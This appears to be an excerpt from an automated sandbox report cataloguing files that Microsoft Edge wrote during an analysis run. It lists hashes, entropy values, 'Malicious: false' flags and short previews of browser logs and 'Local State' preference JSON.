Entropy (8bit):	5.210054277786042
Encrypted:	false
SSDEEP:	6:7pTyq2PN723oH+TcwtfrzAdIFUt8OpWh11Zmw+OpWhjRkwON723oH+TcwtfrzILJ:7xyvVaYeb9FUt8OshX/+OshjR5OaYebS
MD5:	E4A9843AC0D522FC1BD34B0965B61FD9
SHA1:	EDDF1CAC953E0C8B9C6FF0D8B5A950777353B140
SHA-256:	4C0BCDB155C5E122F9E1AA340954930813D2D3474A464873E8932CF7BD11EF61
SHA-512:	9DEE7B84518351E6B464CCF0745D72331AC2C7DA14457D3DA99D744F667C71265CBCD3A2F7EB963C2FE048D9AC31501A662C8524D577D0ABC97FA9F168DB0DA9
Malicious:	false
Preview:	2024/12/17-06:13:23.788 1fe0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/17-06:13:23.789 1fe0 Recovering log #3.2024/12/17-06:13:23.789 1fe0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.210054277786042
Encrypted:	false
SSDEEP:	6:7pTyq2PN723oH+TcwtfrzAdIFUt8OpWh11Zmw+OpWhjRkwON723oH+TcwtfrzILJ:7xyvVaYeb9FUt8OshX/+OshjR5OaYebS
MD5:	E4A9843AC0D522FC1BD34B0965B61FD9
SHA1:	EDDF1CAC953E0C8B9C6FF0D8B5A950777353B140
SHA-256:	4C0BCDB155C5E122F9E1AA340954930813D2D3474A464873E8932CF7BD11EF61
SHA-512:	9DEE7B84518351E6B464CCF0745D72331AC2C7DA14457D3DA99D744F667C71265CBCD3A2F7EB963C2FE048D9AC31501A662C8524D577D0ABC97FA9F168DB0DA9
Malicious:	false
Preview:	2024/12/17-06:13:23.788 1fe0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/17-06:13:23.789 1fe0 Recovering log #3.2024/12/17-06:13:23.789 1fe0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089737860851747
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPM6kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynMRkzItSmd6qE7lFoC
MD5:	2F8FC81EE10F80542BD3DC8707778565
SHA1:	62170F9CD0BD4C55EC1EA16E1843720F88D43065
SHA-256:	C115C2482717F0B5F28D0E9EA15379364566E6D38CE1A4B01749FED24D2F1735
SHA-512:	A7AE459A8BD787A47203E46B4FAC73E85A3F40BE5C839626D08A39069F108C8C8649953BC6A8DF922ABE980169C99D55A7A6D5BE03952AF0CD0D992B1400F06F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF392db.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089737860851747
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPM6kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynMRkzItSmd6qE7lFoC
MD5:	2F8FC81EE10F80542BD3DC8707778565
SHA1:	62170F9CD0BD4C55EC1EA16E1843720F88D43065
SHA-256:	C115C2482717F0B5F28D0E9EA15379364566E6D38CE1A4B01749FED24D2F1735
SHA-512:	A7AE459A8BD787A47203E46B4FAC73E85A3F40BE5C839626D08A39069F108C8C8649953BC6A8DF922ABE980169C99D55A7A6D5BE03952AF0CD0D992B1400F06F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39a5d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089737860851747
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPM6kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynMRkzItSmd6qE7lFoC
MD5:	2F8FC81EE10F80542BD3DC8707778565
SHA1:	62170F9CD0BD4C55EC1EA16E1843720F88D43065
SHA-256:	C115C2482717F0B5F28D0E9EA15379364566E6D38CE1A4B01749FED24D2F1735
SHA-512:	A7AE459A8BD787A47203E46B4FAC73E85A3F40BE5C839626D08A39069F108C8C8649953BC6A8DF922ABE980169C99D55A7A6D5BE03952AF0CD0D992B1400F06F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c13e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089737860851747
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPM6kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynMRkzItSmd6qE7lFoC
MD5:	2F8FC81EE10F80542BD3DC8707778565
SHA1:	62170F9CD0BD4C55EC1EA16E1843720F88D43065
SHA-256:	C115C2482717F0B5F28D0E9EA15379364566E6D38CE1A4B01749FED24D2F1735
SHA-512:	A7AE459A8BD787A47203E46B4FAC73E85A3F40BE5C839626D08A39069F108C8C8649953BC6A8DF922ABE980169C99D55A7A6D5BE03952AF0CD0D992B1400F06F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d12c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089737860851747
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPM6kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynMRkzItSmd6qE7lFoC
MD5:	2F8FC81EE10F80542BD3DC8707778565
SHA1:	62170F9CD0BD4C55EC1EA16E1843720F88D43065
SHA-256:	C115C2482717F0B5F28D0E9EA15379364566E6D38CE1A4B01749FED24D2F1735
SHA-512:	A7AE459A8BD787A47203E46B4FAC73E85A3F40BE5C839626D08A39069F108C8C8649953BC6A8DF922ABE980169C99D55A7A6D5BE03952AF0CD0D992B1400F06F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d255.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089737860851747
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPM6kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynMRkzItSmd6qE7lFoC
MD5:	2F8FC81EE10F80542BD3DC8707778565
SHA1:	62170F9CD0BD4C55EC1EA16E1843720F88D43065
SHA-256:	C115C2482717F0B5F28D0E9EA15379364566E6D38CE1A4B01749FED24D2F1735
SHA-512:	A7AE459A8BD787A47203E46B4FAC73E85A3F40BE5C839626D08A39069F108C8C8649953BC6A8DF922ABE980169C99D55A7A6D5BE03952AF0CD0D992B1400F06F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d468.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089737860851747
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPM6kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynMRkzItSmd6qE7lFoC
MD5:	2F8FC81EE10F80542BD3DC8707778565
SHA1:	62170F9CD0BD4C55EC1EA16E1843720F88D43065
SHA-256:	C115C2482717F0B5F28D0E9EA15379364566E6D38CE1A4B01749FED24D2F1735
SHA-512:	A7AE459A8BD787A47203E46B4FAC73E85A3F40BE5C839626D08A39069F108C8C8649953BC6A8DF922ABE980169C99D55A7A6D5BE03952AF0CD0D992B1400F06F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3f85b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089737860851747
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPM6kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynMRkzItSmd6qE7lFoC
MD5:	2F8FC81EE10F80542BD3DC8707778565
SHA1:	62170F9CD0BD4C55EC1EA16E1843720F88D43065
SHA-256:	C115C2482717F0B5F28D0E9EA15379364566E6D38CE1A4B01749FED24D2F1735
SHA-512:	A7AE459A8BD787A47203E46B4FAC73E85A3F40BE5C839626D08A39069F108C8C8649953BC6A8DF922ABE980169C99D55A7A6D5BE03952AF0CD0D992B1400F06F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4a5c2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089737860851747
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPM6kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynMRkzItSmd6qE7lFoC
MD5:	2F8FC81EE10F80542BD3DC8707778565
SHA1:	62170F9CD0BD4C55EC1EA16E1843720F88D43065
SHA-256:	C115C2482717F0B5F28D0E9EA15379364566E6D38CE1A4B01749FED24D2F1735
SHA-512:	A7AE459A8BD787A47203E46B4FAC73E85A3F40BE5C839626D08A39069F108C8C8649953BC6A8DF922ABE980169C99D55A7A6D5BE03952AF0CD0D992B1400F06F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF508f0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089737860851747
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPM6kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynMRkzItSmd6qE7lFoC
MD5:	2F8FC81EE10F80542BD3DC8707778565
SHA1:	62170F9CD0BD4C55EC1EA16E1843720F88D43065
SHA-256:	C115C2482717F0B5F28D0E9EA15379364566E6D38CE1A4B01749FED24D2F1735
SHA-512:	A7AE459A8BD787A47203E46B4FAC73E85A3F40BE5C839626D08A39069F108C8C8649953BC6A8DF922ABE980169C99D55A7A6D5BE03952AF0CD0D992B1400F06F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036465
Entropy (8bit):	4.00153215193634
Encrypted:	false
